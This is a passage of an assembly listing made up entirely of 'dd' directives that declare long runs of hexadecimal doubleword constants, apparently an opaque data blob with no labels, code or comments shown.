0B6268E20h, 0CB98DC48h, 7C911402h dd 54929CA2h, 0F3678A20h, 1E430474h, 7AB4B16Bh, 0DE1F7FC2h dd 91F28FBCh, 0AD50F0D6h, 60778B24h, 6413C511h, 4100D0F5h dd 0E502A0D6h, 631EA457h, 24B06B11h, 11249F80h, 22D20979h dd 0AC34D182h, 14465C6Ch, 7B9AEF00h, 0D7A94FF6h, 5FCF0E0Bh dd 40805629h, 0ABDD6370h, 300040E0h, 6EC0EF8Ch, 39543A68h dd 4BBEA8ACh, 3C1272BFh, 0ADD80801h, 38F4F396h, 0FBA303A6h dd 2D0AA0F9h, 991EC7C7h, 274458FEh, 0BB2980D1h, 970B6820h dd 0D6A7C880h, 28C66702h, 1B91852h, 8D56042Eh, 0EC20E6FCh dd 790330ECh, 0B4D3C47Ch, 0B9F4981Dh, 0C400BF97h, 9CAFE346h dd 4914A49Fh, 0E1E850B9h, 9F4F5F02h, 0C07E6BA3h, 81144240h dd 277472CBh, 0B99C35DFh, 0FD8BF880h, 5DEF22EAh, 0CDC03E16h dd 3D7D34ADh, 0FC00DB9Bh, 461630D8h, 9D00DF1Ah, 1EDC3AE0h dd 0BE72FD03h, 6A467660h, 49E4E001h, 703ABCACh, 94BEA76Ch dd 2C788B81h, 907C90AFh, 8C76F8h, 5B9249B0h, 4E57FA4Fh dd 0D4CA201Ch, 18B50509h, 2CBF2E60h, 0C408177Ah, 0FC04530Eh dd 90144EADh, 0A751E509h, 0D09EC82Eh, 0F6450594h, 7CE0120Fh dd 0FC2D483Eh, 1F2AFE10h, 1D8919A6h, 0E42865FBh, 91A76035h dd 0B343F92h, 2B5C3D82h, 6C4CB7D1h, 0C0128201h, 5194CC4Eh dd 4D004873h, 0A765B8A1h, 13001B84h, 252CF75Ch, 166AF34Ch dd 4CBB3F99h, 5C503778h, 0C8015D4Fh, 55CD94D1h, 2F6F3835h dd 362350h, 339240CCh, 70EBEC81h, 39882738h, 21745BE5h dd 11610BACh, 0FC42758Bh, 0FE9A2158h, 38012ADDh, 31DED7AAh dd 0BCB9D444h, 72013CB8h, 0C4A267ACh, 0FFC984A1h, 5E03D6C0h dd 88F836DCh, 0F9447340h, 78ECA828h, 0DE908Ch, 0BCE6FD2Ah dd 0F9D5C00Dh, 79A69B05h, 549772BAh, 4070E006h, 44A96E74h dd 8E4430DCh, 73416D40h, 20D882CDh, 7670870Bh, 2134004Eh dd 427BF364h, 0DCDA5E2Ch, 564CEB80h, 0C8F64A80h, 898BE512h dd 0B72E7C42h, 50025776h, 2CC4B3BAh, 48EFA110h, 0F10C04Ch dd 2680502Bh, 961A90C8h, 0BA580F41h, 6F86D058h, 2FA24A80h dd 0FCEC714Bh, 0E98B1A12h, 3A5428C0h, 0FDB000D4h, 1FAFFAD8h dd 29C09B03h, 92AB638Dh, 0A47A046Eh, 0A84A54ADh, 0FE64C364h dd 0A817B28h, 24F463F3h, 0B2B70B08h, 4331D0D0h, 78BA1079h dd 0E0BFA201h, 7F0C5B13h, 0A1464BAAh, 82980A7h, 6D790491h dd 0C8094818h, 54835BA6h, 34465C50h, 3FE01001h, 418C852Ah dd 693A2190h, 0D7820E54h, 3BC244ADh, 242258B9h, 6AA7AE13h dd 19E640A0h, 3943E9FBh, 24572EABh, 91C3C20h, 83B80037h dd 0A6D61B45h, 4D072816h, 0F5E808F7h, 93D42D30h, 0E95F83h dd 0E684F850h, 0C63CFCF3h, 0A86B0322h, 905267D6h, 28A9FE9Dh dd 7CA0024Ah, 0F707FD4h, 76B94880h, 63B2A323h, 0A9420E88h dd 0DAF8DF0Ch, 4074A96Ch, 0F901109Bh, 0E377968Fh, 80154ACAh dd 0F55DA070h, 849CAFFEh, 0E00F253Eh, 801EBE54h, 0F62D83E8h dd 0D5742267h, 0BA9401A0h, 386DE0A9h, 82D829B5h, 4704AD4h dd 93E84192h, 4A6E5CA5h, 42C4DC4h, 13F919Bh, 7EE0EC78h dd 3104028h, 91127015h, 14A442AFh, 22114B5Fh, 1A24261Ch dd 254CB8C1h, 0A102B992h, 0A2106388h, 947A306Ah, 1FE3C0Bh dd 740D998h, 73F0CCh, 0C2A539F8h, 3F1EBC00h, 3134EBF4h dd 77B20F56h, 0FDC0D4C1h, 0A65D12E2h, 0E7ACAD50h, 0A03C7020h dd 812BB0E4h, 0CCCA2B3Fh, 3771710h, 9AD0F73Dh, 67401039h dd 50F68648h, 0A65B0B91h, 3C421BCEh, 8D8C105Dh, 990C079Bh dd 22208B7Ch, 88DC7A27h, 23403D44h, 0FB385DF5h, 0C8EAA10Bh dd 6F807E3Ah, 0BAB49DA2h, 8A691460h, 81938E00h, 0D2F35BFh dd 0F1E4C1ABh, 6C3C25DCh, 8C37E814h, 400E073h, 0D222DF42h dd 0AEE6810h, 2ECDFB19h, 8FC89E4h, 6F71CC51h, 0E3E7F419h dd 7C92F576h, 78D6B712h, 57C0C0BDh, 4318E0A9h, 0BAF76602h dd 0D7E4D2C3h, 0C0FA8487h, 0FF3331B9h, 0E7912Fh, 0D76ED1B8h dd 3EAF120Dh, 83784219h, 4684FD5h, 0A9C0A0A5h, 0A855A113h dd 0B0A25E1Eh, 9AA0D3ACh, 0AD0C4137h, 418096A7h, 0BF0D09BAh dd 58126A76h, 1A7914F9h, 25072418h, 0C3517784h, 0E43A7F60h dd 0F1D80182h, 87E6A331h, 5E143D2Ch, 2584CE2h, 81E90C1Ch dd 0F1E623A0h, 41FCF158h, 456DA0h, 4111DF3Ch, 714C4761h dd 43491F0Ch, 0ECFC638Ch, 8C31E834h, 8155CB00h, 2B7AD4Ch dd 49349971h, 17DC2474h, 0D004A560h, 0BE502D04h, 0EB56E601h dd 0FD63E2C8h, 5D045429h, 0BC5BEE2Eh, 44B80000h, 0D7CAB0ACh dd 13CE12A5h, 0ECE0BC0Eh, 4E098C64h, 5CC7A89h, 0DC8C21D8h dd 6AE102D1h, 317DA3A6h, 961BC841h, 34F87C39h, 0CBB8AB80h dd 5D054313h, 9CE2DDFDh, 17C844CEh, 32AE59C4h, 50C4BB10h dd 0BE3DBD2Ch, 2AA4AA00h, 0F876DCh, 0AC90B6FDh, 0F31F354Fh dd 0B0C08669h, 8107DE80h, 84C83829h, 0E8ED2EC6h, 0D1B3D687h dd 0F0814EF4h, 72005128h, 0C542B04Dh, 12BD4693h, 0EC8501D6h dd 44B74BD0h, 328894A3h, 0D207AB64h, 9BDB99FFh, 2A64B0F9h dd 76960132h, 0B819FF5Dh, 1B0C7CEh, 0A3157306h, 7564828Fh dd 0A70EE9C2h, 422020DAh, 1E243928h, 46961CCEh, 36507804h dd 6CB29CA3h, 1D1C7A30h, 65470CAEh, 248D3C58h, 96904C60h dd 80034CEAh, 0F508AE81h, 0F082CD61h, 4F0164BDh, 7BDFD8ABh dd 3FEC6E93h, 0F6453D8Ah, 0F91C00DBh, 882357F7h, 1AB95302h dd 0F525C1EBh, 7D6F822h, 616CF62Bh, 11721DFh, 167F57BAh dd 7634F2D4h, 20A69500h, 0D2697FAh, 81C3A113h, 12DEC5E0h dd 0E4D1503Dh, 300C918h, 0FD23B374h, 4F6BB799h, 2918603Ch dd 0D14DDF2Eh, 0EE9204B8h, 46004039h, 0F45128Fh, 88BA4918h dd 29FC7CA1h, 13DC1FF2h, 0F6E89530h, 562DB2B8h, 21882468h dd 0C9A248Ch, 13903442h, 44AC009h, 0F6A87E0Fh, 490BC4EEh dd 4A17F7Dh, 0E0B73338h, 7A087C22h, 52490DE3h, 0C85AB789h dd 0CEA4510Bh, 3FB8DC6Bh, 0A2505E76h, 0C0AB3C60h, 223E4BFFh dd 782970CCh, 32BF1550h, 2E2AF069h, 38CA0188h, 29F88757h dd 5D142071h, 96FE4C40h, 0BDDE8228h, 0A84B7BF5h, 0A72641A4h dd 102D17FAh, 0A2765405h dd 0E0B8E6BFh, 0DEA30Eh, 56FFD48Dh, 0BB921FB9h, 618C009Fh dd 62CDA4E8h, 8CA6F1D6h, 0AA501175h, 4198703Eh, 61059A2Eh dd 27AC1338h, 5DE3D405h, 2F7FB0FCh, 0FCD1AAA5h, 0B46EE100h dd 1309F5Ch, 14C6D18Dh, 2022B78Ch, 1A884034h, 47BF27AAh dd 98204053h, 0B059BD60h, 0D633B9F1h, 80C8DB31h, 66C58D3Dh dd 0BFC102C6h, 2E52516Eh, 9963D720h, 8CAB005Eh, 0A6603EB5h dd 1494031Eh, 0C35C9007h, 0C3C26E0h, 99FB1379h, 0A5B0B443h dd 44A208F3h, 0EE25A312h, 398C4163h, 3E0A04C0h, 9F166208h dd 234C3A15h, 0F468001Fh, 1E951D2Ah, 3405F271h, 7CE2E5Bh dd 184054D6h, 90765EB7h, 0A609D732h, 5EB449FEh, 1095EB60h dd 0B4876991h, 0B52FF44h, 6C0B2756h, 6C81F809h, 7BE9831Ah dd 0D74318C0h, 0FD310091h, 72F796A6h, 0D201AC50h, 8B1A6080h dd 907228DDh, 4113A118h, 414B79FBh, 0FAB9445h, 607154F4h dd 12FC313Ah, 0CE952341h, 5834B3C0h, 6F02D9F0h, 5EA7E8A0h dd 7188D183h, 37D41936h, 395800D9h, 0F9F57BCAh, 38962521h dd 0B0430144h, 0EE9563F2h, 5DB87432h, 5CC0700Bh, 231971D5h dd 9F05BA5h, 0A6BF22EAh, 0FD3D2C48h, 203CDE4Ch, 7767274Ah dd 352D54A2h, 2328440Ah, 0A73444A4h, 2FBFB188h, 312348h dd 5AB8E344h, 0EE2EA53Dh, 4C83EC7Fh, 44653F1h, 0CB1FFDB9h dd 24C9AA69h, 7686ED4h, 10C0A582h, 2A65E0A6h, 0ACF4D108h dd 0E3869A00h, 0FC794CBEh, 0B1374FF6h, 10D82A78h, 0B3FA008Eh dd 551E6AF9h, 1D7151F5h, 81045B19h, 0D8D464F9h, 0F7CD1329h dd 2FD8E413h, 0C097041h, 7088104Eh, 0C41BE6C0h, 360F091Ah dd 94DE4086h, 0DCE59E0Ah, 0E56BE02Eh, 60386464h, 1E3FDA58h dd 8E0399DBh, 1D8DBBCBh, 0B8BC2DD9h, 0AAC70578h, 31D2942h dd 9033F1ACh, 0F42C65B1h, 80EAD7A7h, 0B5985099h, 96DC1891h dd 8F6A40ECh, 0C000DEC9h, 7ED2B0A6h, 0ECEAEB72h, 6110016h dd 9B73BC07h, 0C550D122h, 724F7784h, 34B298B3h, 1672230h dd 0A65E1837h, 7B2307F6h, 0F3D678DCh, 4A4C73F8h, 0F0A0B694h dd 0BA30436h, 3E3BE47h, 5E2DD810h, 0FB528100h, 48364D5Dh dd 292A0B51h, 228025D6h, 0AFAD8245h, 309C6655h, 34419944h dd 3986787Ch, 0D3F05112h, 1873FF7Bh, 0F04BF94Eh, 84B48282h dd 5FE8F23Eh, 0B0E749h, 71D2EBF5h, 0F8BEDDB6h, 0F7783CBCh dd 96CD970Dh, 486E6F69h, 19C66C02h, 0A064D9E3h, 16E4C495h dd 88A9A1E8h, 7F173348h, 0A0F9B3A2h, 11EBD608h, 46B2A03h dd 0A9B90165h, 0DF470824h, 3E51EC53h, 75B5B409h, 2E7CD4CBh dd 0C109DCC8h, 82D2B54Eh, 22BDF34h, 0E4D35139h, 47182E88h dd 38A0F415h, 0A6714F5Ch, 0F0A02F74h, 81C74AB0h, 7CDA5DACh dd 0EC3080BCh, 0D29DF663h, 1DA40411h, 24C54072h, 4A53ED29h dd 38E8660Ah, 0D17F0D25h, 0C5928BC4h, 82789070h, 0B277B8C2h dd 0DA04D93Ah, 91E41877h, 0A50B0BC6h, 44AEF7FEh, 0C092A109h dd 6CE424C9h, 0F283B01Ch, 0EDC78867h, 0BDCB6340h, 2AB780C8h dd 4A2D88E8h, 0AD3CBFE4h, 39B73030h, 4FB5C0A0h, 914C0C86h dd 0A5B87E9Bh, 909ACE2Ah, 0ED50B825h, 7367ECh, 72A8EDEBh dd 65A23400h, 81A1AC4Fh, 3DE5090Dh, 0CE8A679h, 7F25F643h dd 0B7B8681Dh, 0DDAC8044h, 59CB9E70h, 73A4533Bh, 4B7F7D80h dd 0CC3A4600h, 0E88F5647h, 8C5B0BBCh, 0F80FD2Eh, 0A651282Ch dd 9C721628h, 61F68773h, 3B091300h, 0EE058A9Fh, 0D020C0A5h dd 0B0A8504Dh, 6013310Fh, 3C838076h, 70D1A66Bh, 81266025h dd 0C7449F05h, 4C207A1Eh, 70091D7h, 312AE428h, 0D3250063h dd 0D2A5DDC3h, 8A7C5D2Ch, 30E8BF03h, 0CAE39093h, 0FC027F71h dd 0C50F741Eh, 0F782CDB7h, 3415D778h, 97AE9BD0h, 397CBC83h dd 88EB7BA1h, 3680ED10h, 99200826h, 132A314Dh, 88C2C520h dd 8971608h, 2F08A638h, 0C9790885h, 0C1A3A08h, 0E219C07Dh dd 0C660B480h, 844B350h, 18C7F231h, 888B6C4h, 4208A87Bh dd 69BA188Ch, 8F809A22h, 7DE3801Fh, 0BB9040C4h, 10C4D01Fh dd 610BA72h, 1CC61087h, 18AFF310h, 0D2386FCCh, 6B8E80B8h dd 0E68810C6h, 104766D9h, 4B31E903h, 62DC1077h, 6A8C0888h dd 0D9B7730Ch, 0FFA780A0h, 654F08C6h, 0DFAC2020h, 20DEBC20h dd 420910Dh, 0A4BF2071h, 32ED1120h, 251870FDh, 9C23A8A2h dd 104AA903h, 19DB1318h, 4671F891h, 0F1EF1899h, 6E2988E4h dd 1DE608D3h, 8ADC40Ch, 204E625Eh, 1A03F79Eh, 4610107Bh dd 511910E4h, 4E415633h, 94858116h, 2008BC26h, 7201BEBh dd 81BF62FAh, 160280E3h, 0AAEF02FEh, 88443205h, 640698E2h dd 92E81069h, 0F8512A81h, 6303BCF5h, 69251131h, 1302CCC0h dd 88DDDCA2h, 0F8446905h, 0AF06C640h, 0A542048h, 9A4057E8h dd 3F71C6B1h, 84310875h, 0C56518E3h, 46080892h, 85BD480h dd 18F67531h, 1024EC9Bh, 51068167h, 2C119CCh, 77E8A754h dd 65F9089Ch, 446A286Ch, 0EB9E7BCh, 74211971h, 8118CC03h dd 1210789Ch, 648C80FFh, 809F7A80h, 0EC8B58DFh, 0D8243809h dd 424C910Dh, 0B12999CBh, 0E9B93508h, 0B02066A0h, 8BAC2085h dd 31B00249h, 89419909h, 0CCA3A602h, 812A75Fh, 144C4C37h dd 0A9AD0879h, 0B998B1D4h, 0B596D1F9h, 546380A9h, 678C46B8h dd 1F3E1DBh, 4C018E32h, 0A2600273h, 69DC7A8h, 403111A1h dd 61A40852h, 0F4257907h, 0C0EC4427h, 411B065Fh, 5A042008h dd 58F52024h, 25E1D79Ah, 88460CA4h, 4918B0E1h, 8210682Dh dd 0A0602AE6h, 985989E9h, 0A25C24F9h, 46E8704h, 4005D026h dd 0F7D442F1h, 0A464CE4Eh, 5912891Dh, 0EC40A996h, 8BB111E1h dd 8010C098h, 28C34761h, 0FF6F0501h, 91CA4863h, 7607874h dd 0F95F2B21h, 0BF68D066h, 0E70011B1h, 0E85002C6h, 5C1C27ACh dd 88730C9h, 876380FBh, 0E02596Bh, 78038A41h, 5A7B001Fh dd 3D005122h, 0BA5012FDh, 73295227h, 8CE6093h, 7F287749h dd 3B60FD61h, 21884A47h, 8F0978D2h, 0B2920182h, 0CBFCFC30h dd 7D4E848h, 1ED74560h, 1264801Dh, 813003D3h, 5CD27815h dd 6347F028h, 0AACE100Eh, 2F3C04A8h, 4AFEA9ECh, 0AEAC74F9h dd 259D0C27h, 50C8761Ch, 7F3004A4h, 0EDF0A62Eh, 221F77A8h dd 2B0C603Ch, 31D118A8h, 0AE307E1Fh, 0CAF7F058h, 0A3803078h dd 43160067h, 8C85E63h, 213F2D73h, 8140B0CEh, 0B02C8Ch dd 0AE247F48h, 22B41102h, 6BDECE88h, 0BE0E2837h, 0F21863ACh dd 0D6500A00h, 4BA70EA1h, 53A00090h, 675C51Bh, 0D10AFF35h dd 0E8960D03h, 0CE482D15h, 9566E3FEh, 2FA5C126h, 60341CD0h dd 0E1A28F5h, 0FF310307h, 69440F8h, 28BA74E0h, 3BCC4850h dd 7C770F1Ah, 0A8A54B1Eh, 0E8607624h, 0D2CB7CA8h, 80FE3FB5h dd 2574E187h, 5F587027h, 41B5C36h, 0B858F1D9h, 1403E507h dd 343B1B9Bh, 0C030891Fh, 5F7F38B0h, 0B8C03915h, 0A741E676h dd 11E875h, 0C00C9AB8h, 53710E08h, 5FC83054h, 30A8C930h dd 679360Ah, 98037827h, 37246069h, 200930FFh, 1D08D676h dd 0BA7F026Eh, 90EB33Fh, 0F250032Ah, 0CA1000B2h, 722EEC35h dd 0F9F4AB16h, 3E945403h, 9EAC5Fh, 2AEFA368h, 9F03C312h dd 5E07841h, 42501417h, 491AA466h, 6640183Fh, 38C1BE72h dd 3EA50458h, 0A28C1881h, 4032B9CDh, 0B08DACA0h, 381C0E0Fh dd 0ECC0135Fh, 5BBA7E52h, 0F2100591h, 5F940339h, 2000B18Eh dd 782205A6h, 14927363h dd 8EDA5C0h, 45D1200h, 0B0072459h, 0F724B490h, 34108E2h dd 0C841FC17h, 51FDBF12h, 30CE74C0h, 4B90D77Eh, 0E902B88h dd 6C80AADEh, 2A6088Bh, 0E80D3C81h, 54A4007Bh, 5916662Ah dd 5F1AAC12h, 1060487Ah, 802507CCh, 70327243h, 5C79794Ah dd 1AFF00E4h, 0F2272350h, 0B395BE00h, 446D07A6h, 85EC03D9h dd 0E690CE75h, 12763800h, 4B82285Bh, 0FF0E0572h, 59A07EB9h dd 3E94488Ch, 0F938D002h, 0A6E88222h, 0F23A0229h, 425BD9C0h dd 19DEA900h, 5FFE07BBh, 0F8A5491Bh, 0CE273820h, 82E4601Dh dd 0CE80946h, 2CA0A303h, 0E2CDB57Ah, 0B0206C9Ch, 84D8B748h dd 14C908A6h, 0B9E9A450h, 94CE0113h, 0DB33F75Ch, 0ABB8EC40h dd 0A48EA426h, 0CBB73502h, 0FAFEE021h, 70560260h, 0F57F40B0h dd 0B812D481h, 5420C4D5h, 38F10D00h, 0BA893E77h, 780E601Dh dd 725DF339h, 0AD138200h, 0CE677BBh, 0A516029Ah, 51CF9964h dd 50E4F0E1h, 318D5DF4h, 755F387Fh, 0F4B0240Eh, 252B0F38h dd 4B8F5CEh, 0B6AD8DABh, 0E4F74A80h, 9ECD0061h, 9AD47136h dd 0D8C0DE29h, 0FED69DCBh, 8B2B3D18h, 450060C8h, 4F506B0Bh dd 2A2A432Ch, 0D072FC5Eh, 2745CF80h, 0A0607CCDh, 0CA7E09DEh dd 5F233109h, 89E86280h, 3A83858h, 1E0B437h, 7A5BE92h dd 6A40603Fh, 0EF5F2A09h, 0E000AF83h, 0ADBB5740h, 488A0D3h dd 9F062C9Bh, 72650030h, 18A346E9h, 1C920318h, 155FAE51h dd 948B6904h, 419CB524h, 359565CEh, 0A1F930A0h, 0EBA891C0h dd 3BE5CA91h, 0B184DDEAh, 0C0FDD92Bh, 22B62024h, 84611C90h dd 0E3F72950h, 57A16440h, 815F0916h, 182907EAh, 0D87D8000h dd 68921B4Ah, 7275DC01h, 33B8CD5Ah, 0D0DD9441h, 1BF0DAF1h dd 7C5E0551h, 0C3AF9A23h, 17EB5F60h, 4C296001h, 4F78626Ah dd 3575DCh, 3A314E55h, 35FA5FAh, 2626609Ah, 0AB828425h dd 183B76DFh, 6C91B612h, 827D5809h, 0B607A48h, 0D279A4F0h dd 50116265h, 4FB8D414h, 96BA0843h, 1A401FBFh, 0BCCC3E27h dd 7419783Eh, 487269A8h, 0E007AB94h, 9B1352E7h, 8F3532h dd 1B2AE6A6h, 0BAAA8609h, 44DCE0CBh, 307D78D6h, 0D1100649h dd 0C0B15C7Eh, 3B1935A6h, 0B849FE10h, 0FC31D631h, 0B90279EDh dd 0BAE50709h, 42A65561h, 0CDD030DCh, 0CD605130h, 6CCA02A9h dd 3D0D3598h, 5B9180E0h, 74F992C5h, 0CE132304h, 0C40D8D1h dd 140EDB9Fh, 44DC0346h, 766FBA7Ch, 0CE265006h, 982801A8h dd 4C7A20ACh, 82077515h, 510308C8h, 0B3120116h, 0F2192D85h dd 5B117860h, 245D08A0h, 20B8047Ch, 5843EC91h, 3729A04Dh dd 6A440F73h, 0D6407DDDh, 83347586h, 0E51F0498h, 700F8822h dd 1F90903h, 716E854h, 0F37F5C72h, 0F9775474h, 1422C821h dd 0AFB21A0Fh, 2E5C3917h, 265214E0h, 97ACA71Ah, 0BAF02140h dd 0C00A2F4Ch, 2600188Eh, 433A3505h, 1A9A00BCh, 97E714Ah dd 302C8C2Bh, 0B7089832h, 4613000Bh, 22C0A152h, 0C86DCE19h dd 0E844A5A0h, 81F8C449h, 7793BA18h, 6843A425h, 0A45A0023h dd 0E7BB22DEh, 0E90B4C26h, 229FC17Eh, 20813124h, 29D4507Ah dd 531D6504h, 0B8C44007h, 400494D5h, 0CCC56ED8h, 0E668E4h dd 0C8CA9B06h, 2B91229Ch, 1FCAB4Ch, 5F2E9617h, 28807512h dd 71B2EC60h, 5507E802h, 0BAEBBF46h, 4A4322E0h, 7BB1005Dh dd 455AFBCAh, 0E3120755h, 0CC80AD03h, 5D124130h, 75249450h dd 0A9A18B9Ch, 808660D0h, 0AC915218h, 507EB70h, 456C4312h dd 3054C31Eh, 0F045FDA2h, 0B9F40301h, 0E1807A0Fh, 8EA5ABD4h dd 30001209h, 683BECF7h, 0B0112A46h, 8271ECF0h, 0EE7F2360h dd 892DCD16h, 0B0ABC083h, 0A3602FCEh, 4E24C2CCh, 58EEF41Ch dd 12C6D82Bh, 0E0AC885Eh, 2C52E026h, 3A29D0h, 0D30C65F3h dd 73BA695Ch, 0A021F3h, 2F84A4E8h, 7804561Ch, 0A5601125h dd 10496821h, 83488A6h, 0A3097DC9h, 0CC70821Bh, 7FB00BAh dd 5520529Ch, 913C0043h, 7444EB77h, 0C4A0A53Dh, 0AE305FF7h dd 0FA4E2013h, 0BE94917Ah, 42B90D17h, 0A830939Bh, 30F20CE1h dd 54171A78h, 1421E2A5h, 80485C12h, 40605DA4h, 0C9CB4512h dd 80D7E050h, 94C210DFh, 6077077Eh, 1FF6F20Ch, 0CC6990DEh dd 5B19668Ch, 98D29F00h, 0E7060DEEh, 86F09B1Eh, 706FFB52h dd 3A64125h, 1E8A4DE0h, 280B2990h, 0D80A4858h, 0B03D8C14h dd 91867300h, 45D6882h, 1C81C9E6h, 218182Ch, 0A9E6009h dd 0B4A54800h, 2274E21Fh, 3EECF58Fh, 3660C6Fh, 1D282D32h dd 0A1565700h, 0EBA327DBh, 5DBC0E1Ah, 77A22A71h, 0DC834150h dd 0A0224F5Ch, 1A8FEFDh, 2982D1F2h, 2481215Fh, 7F743014h dd 0CEECB241h, 9816503Ah, 0D4623084h, 22F92FA8h, 0F5480096h dd 3AD84118h, 238A2ACEh, 73B327B8h, 0ECA80020h, 38CEF49Eh dd 76546337h, 0ADF028E8h, 890602A8h, 0C4205F77h, 25A1FA07h dd 0FBC703BAh, 227801E3h, 475F9BD2h, 59C42D6h, 387880DDh dd 3873F017h, 0D87A58Ch, 0C9BA24FBh, 0EC40883Ah, 0E8FC548Bh dd 50DAA14h, 0AE4040E8h, 2AB9F312h, 42F4CCC2h, 0ABE048ECh dd 5BB500D1h, 0D0F76C0Fh, 361F4ADAh, 5F0B2B14h, 346CC1BDh dd 982FCC30h, 73A020B0h, 2258FDF4h, 0BA7E82CCh, 0D3E4C9D2h dd 0EFE0F835h, 0CE40C241h, 0B4A24AA5h, 1A04CF04h, 44D64482h dd 0A8920B70h, 503840AFh, 764AE0ADh, 7CC09864h, 12160E29h dd 12BA7527h, 9C1454B2h, 44CFD500h, 0CE3C62A3h, 31B465FDh dd 84884398h, 2C50EC3h, 2DB90340h, 31F75E00h, 4A7C1ECDh dd 5FBB0241h, 3CC93245h, 0DFA860E7h, 0C4789E09h, 26906EAFh dd 246047A1h, 2BD40044h, 9F159EC5h, 41E80312h, 0E7B09814h dd 0A60962B4h, 0AE64F43Eh, 20B28C08h, 734EEE0Eh, 47929080h dd 8A006A5h, 0BE6083BAh, 6ECE3F28h, 10C9E11h, 0DF13ECC9h dd 0B6F44067h, 2F0B836Ch, 0AE7B6303h, 34C9C4h, 0D5E4CA10h dd 6B250F3Ch, 0C20EFDDDh, 3F0CB90Fh, 912AD220h, 1520EC9Eh dd 0BA4B1E26h, 0E2F30C2Bh, 3CB18A10h, 828C5714h, 4634B4D2h dd 225F18C4h, 28EDD16Bh, 5C5C81E2h, 6F030F38h, 0E5013F40h dd 501538EFh, 2E8018BAh, 1DA5CD1Eh, 580F42BDh, 26AB9284h dd 378E452h, 0A41E1B76h, 90BD0803h, 0B0F65F04h, 8B62349Ch dd 20BB038Fh, 2432CAC8h, 0A6B61300h, 3122BDA4h, 4D124CF2h dd 0CAAC0F73h, 5400FFC4h, 42530321h, 0D8CEE8A1h, 6300F0BBh dd 1B74C51Ah, 0CA960A3h, 50E8ADEh, 0C32C6578h, 0A085FC92h dd 1492AFD1h, 8D88C0AEh, 0C739821h, 67F1CE73h, 0B672D7C0h dd 0C89A612Ch, 8060370Bh, 2FFF34C8h, 0E9BEE8Dh, 5A5CF85h dd 0F265200h, 5F00AB41h, 6093D472h, 735135h, 1DE6D58h dd 2545140Eh, 4BEF6718h, 0D4D61AB4h, 273C9168h, 10E1C418h dd 0D3F80348h, 0F09E3074h, 7B05B4A8h, 0A4DD8821h, 4AF4DA00h dd 3B5D5943h, 331D6D2Dh, 9B5F0648h, 0AD58D818h, 0C3FF04CCh dd 7488DCABh, 23FA4A26h, 549184B0h, 2CE0252Ah, 5A052050h dd 0CD2C31F8h, 3D40850Ch, 7C4CE25h, 166FBC90h, 294E0F5h dd 9C0EE6B8h, 0D460C889h, 48C7B6C5h, 0AF0C1CAh, 0AC5220h dd 0F375D8Eh, 9875D191h, 18AC9899h, 6DD8D581h, 9A003443h dd 6029621h, 0FB1FA62Fh, 0C404E046h, 0B57810h, 73674E4h dd 164E2933h, 0CC045C0Bh, 7B5442D3h, 15C826A0h, 0D1087CF3h dd 76425522h, 20745AE4h, 4C411F4Ah, 6AD41C41h, 0F09C38AAh dd 2600FD92h, 2130B9EEh dd 0E24B3030h, 0D08648FCh, 5E13A100h, 2DD1AC78h, 120E0305h dd 0F8D85F60h, 76D51EF1h, 4C88C313h, 700249DBh, 0BAE272Ah dd 90507911h, 855089EBh, 8CC05B9Ch, 0C08E55CEh, 82237B18h dd 6F7795D8h, 85A6FE00h, 0D2ABBF64h, 9F7D0774h, 85E61F4Ch dd 220801BAh, 54489443h, 0FA9880E4h, 82019B73h, 0B7B51127h dd 58702DC9h, 50BD03B1h, 35030DA7h, 0BA22C5E0h, 9407D829h dd 0D857A117h, 5728E830h, 0F2E02504h, 0C55F8402h, 0A0010F4h dd 6A2F14ABh, 1413404h, 0DABCB4D8h, 0D4103560h, 419C0C5h dd 0A5401F44h, 3804A457h, 348BCE18h, 0AA11B8h, 5813CF73h dd 0E7ED0E71h, 9303E4A0h, 94780BB5h, 388A054h, 1CF09CD4h dd 9B3424Eh, 60DA2969h, 48941920h, 904AE453h, 34012B4h dd 72220h, 5EFE8D30h, 0DA66DC2h, 0AED04539h, 0E5800C97h dd 85377C36h, 799424BAh, 0A0386428h, 0A9C4E4A8h, 7A0571FBh dd 5FB890BAh, 608221A9h, 9625D44h, 59911DE5h, 0F65B7002h dd 0BAD82006h, 90987134h, 38780F04h, 40F81E5Fh, 7777EDA5h dd 0E86F282Ch, 8205424h, 0E7F7290Bh, 0E398132Eh, 0F8482416h dd 0E0AC08h, 30E2DF9h, 8600AB7Ah, 573343F6h, 8085D15Fh dd 0C9077B6Ah, 7E77B52Fh, 797DDCC2h, 42EC2C34h, 30C8AC22h dd 0AA83458Ah, 64D8422Ah, 3BC43200h, 7444E1F1h, 28B12016h dd 375F5860h, 45A805Ch, 1C11E82Eh, 1CA5518Ah, 1A59128Bh dd 204C50D8h, 0BB00A96Fh, 33CAF419h, 0B8419205h, 1E970029h dd 22DEA150h, 12010FEBh, 3B82745Bh, 0E8D275C5h, 3ED9D24Ch dd 2909324Ah, 4C60C312h, 0C050A458h, 0AB8830A4h, 8B28B9E0h dd 1CC98311h, 0D43834h, 0AC5B4D42h, 1F6288E0h, 585F1586h dd 0FE6283Ch, 2989A4Ch, 69F05023h, 0F2344179h, 280BD0h dd 7DD67F70h, 7715271Bh, 0C4B0D072h, 8B44300Bh, 22DC0011h dd 0E4C9BAB2h, 88A7612Ch, 2C46DDD1h, 13258ECCh, 0E8378432h dd 345F36DCh, 0A4183DB1h, 50027A24h, 7C59C13Bh, 0FF58C177h dd 8CA400DEh, 2B5C305Fh, 3CCA8080h, 0F12597Bh, 0E94CE5B8h dd 0BA3626C0h, 54B84337h, 0A4562102h, 81E5F7B2h, 0EEBA7140h dd 3A4AE478h, 302C4BB4h, 437E4AE8h, 2166CEB0h, 8F7CA83Eh dd 80506A89h, 3314AE3Ah, 0C6CE1832h, 962B204Eh, 0BEC9F701h dd 8A5C0C5Fh, 38027831h, 0EA4CC378h, 8F1CE8B4h, 747E3003h dd 0DC76C770h, 25F0303Ah, 137441C1h, 0FA5F83F0h, 5821B792h dd 3CE4F7BDh, 0E23485F0h, 0F5B54B0h, 170E695Eh, 0B311EF02h dd 2C530881h, 45E07085h, 40A302FFh, 30045284h, 0D8800A6Ah dd 51067F22h, 9D835F17h, 76E060h, 5B9FFBA6h, 0E4262DAAh dd 38CE750h, 94440D2Eh, 745F2B04h, 0AC5C70D0h, 7C3D0982h dd 0EC856A8Ch, 0F6248021h, 6CB8ADBDh, 0C1B40300h, 5ABA5527h dd 0A8CA07Dh, 7E7A2ACEh, 5FD90AA0h, 290DC0Bh, 11D30456h dd 0EF421B03h, 79948883h, 3F0899F0h, 6B252E44h, 4DCB1A4h dd 32EBA08h, 0CF804490h, 4A5D1129h, 99AC0266h, 